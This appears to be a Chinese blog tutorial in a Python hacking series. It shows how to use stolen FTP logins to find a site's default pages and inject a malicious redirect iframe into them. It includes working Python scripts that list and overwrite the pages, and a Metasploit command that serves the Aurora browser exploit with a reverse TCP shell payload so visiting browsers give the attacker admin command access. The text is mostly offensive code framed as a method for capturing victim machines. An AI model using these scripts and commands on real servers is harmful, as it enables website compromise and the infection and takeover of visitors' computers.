• 【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(下):在FTP服务器上搜索网页+注入代码


    目录

    一、在FTP服务器上搜索网页

    1.1、函数:

    1.2、实现:

    二、在网页中加入恶意注入代码

    2.1、分析:

    2.2、函数:

    2.3、实现:


    一、在FTP服务器上搜索网页

    1.1、函数:

    ftp.nlst():返回FTP服务器上指定目录的文件列表

    fileName.lower():将字符串中的所有大写字母转换为小写字母

    1.2、实现:

    有了FTP 服务器的登录口令之后,要测试一下该服务器是否提供Web 服务


    首先要列出FTP 目录中的所有文件, 搜索其中是否含有默认网页。returnDefault()函数输入的参数是一个FTP 连接, 返回一个它找到的默认网页的数组。它是通过发出NLST 命令(列出目录中所有文件的命令)完成这一操作的。该函数会逐个检查NLST 命令列出的每个文件的文件名是不是默认的Web 页面文件名, 并把找到的所有默认网页都添加到一个叫retList 的数组中。完成这一迭代操作后, 函数返回该数组。


    运行python defaultPages.py

    1. import ftplib
    2. def returnDefault(ftp):
    3. try:
    4. dirList = ftp.nlst()
    5. except:
    6. dirList = []
    7. print('[-] Could not list directory contents.')
    8. print('[-] Skipping To Next Target.')
    9. return
    10. retList = []
    11. for fileName in dirList:
    12. fn = fileName.lower()
    13. if '.php' in fn or '.htm' in fn or '.asp' in fn:
    14. print('[+] Found default page: ' + fileName)
    15. retList.append(fileName)
    16. return retList
    17. host = '192.168.190.131'
    18. userName = 'guest'
    19. password = 'guest'
    20. ftp = ftplib.FTP(host)
    21. ftp.login(userName, password)
    22. returnDefault(ftp)


    二、在网页中加入恶意注入代码

    2.1、分析:

    已经找到了网页文件, 必须用恶意重定向代码感染它们。为了快速创建一个位于http://xx.xx.xx.xx:8080/exploit 的恶意服务器和页面,将使用Metasploit 框架,选用的是msl0_002_aurora, ip:8080/exploit 上的网页会利用被重定向到它这里的浏览器中的漏洞, 使之向我们提供一个反向连接, 令我们能通过这个反向连接来控制这台“ 肉机”

    msfcli exploit/windows/browser/ms10_002_aurora
    LHOST=xx.xx.xx.xx SRVHOST=xx.xx.xx.xx URIPATH=/exploit
    PAYLOAD=windows/shell/reverse_tcp LHOST=xx.xx.xx.xx LPORT=443 E


    如果有哪个有漏洞的浏览器连接到http://xx.xx.xx.xx:8080/ exploit这个服务器, 它就会执行漏洞利用代码。一旦成功,将生成一个反向的TCPshell, 并让我们得到这台被黑计算机上的Windows命令行提示窗口。有了这个命令shell后, 就能在“ 肉机” 上以管理员权限执行命令


    接下来,要在被黑服务器的正常网页中添加一段重定向至我们的恶意服务器的代码。我们可以从被黑的服务器上把默认网页下载下来, 在其中插入一个iframe, 然后把这个插入了恶意代码的网页传回到被黑的服务器上


    injectPage()这个函数,需要给injectPage()函数输入一个FTP连接、网页名, 以及表示用于重定向的这个iframe字符串,然后下载该网页的临时副本。接着, 它把重定向到我们恶意服务器上的这个iframe添加到这个临时文件中。最后, 函数将被感染的网页传回被黑的服务器上。

    2.2、函数:

    ftp.retrlines():使用RETR命令获取文件多行信息


    storlines (cmd, f):给定 FTP 命令。(如“ STOR filename”),用来上传文本文件


    ftplib.FTP类:实现FTP协议的客户端,可以使用它来编写执行各种FTP作业的Python程序

    2.3、实现:

    python injectPage.py

    1. import ftplib
    2. def injectPage(ftp, page, redirect):
    3. f = open(page + '.tmp', 'w')
    4. ftp.retrlines('RETR ' + page, f.write)
    5. print('[+] Downloaded Page: ' + page)
    6. f.write(redirect)
    7. f.close()
    8. print('[+] Injected Malicious IFrame on: ' + page)
    9. ftp.storlines('STOR ' + page, open(page + '.tmp'))
    10. print('[+] Uploaded Injected Page: ' + page)
    11. host = '192.168.190.131'
    12. userName = 'guest'
    13. passWord = 'guest'
    14. ftp = ftplib.FTP(host)
    15. ftp.login(userName, passWord)
    16. redirect = ''
    17. injectPage(ftp, 'index.html', redirect)

  • 相关阅读:
    「Java开发指南」如何在MyEclipse中使用JPA和Spring管理事务?(二)
    uni-app rich-text组件富文本图片展示不全问题
    (2022最新)Java毕业设计参考题目-题目新颖(值得收藏)
    测绘地理信息毕业生有充足职业选择
    Python运算符、函数与模块和程序控制结构
    什么是屏蔽机房?
    「Spring」Boot Docker 认证指南(上)
    画刷和画笔
    linux:查看文件前100行和后100行
    这个要怎么改,php的都是这样
  • 原文地址:https://blog.csdn.net/qq_53079406/article/details/126060388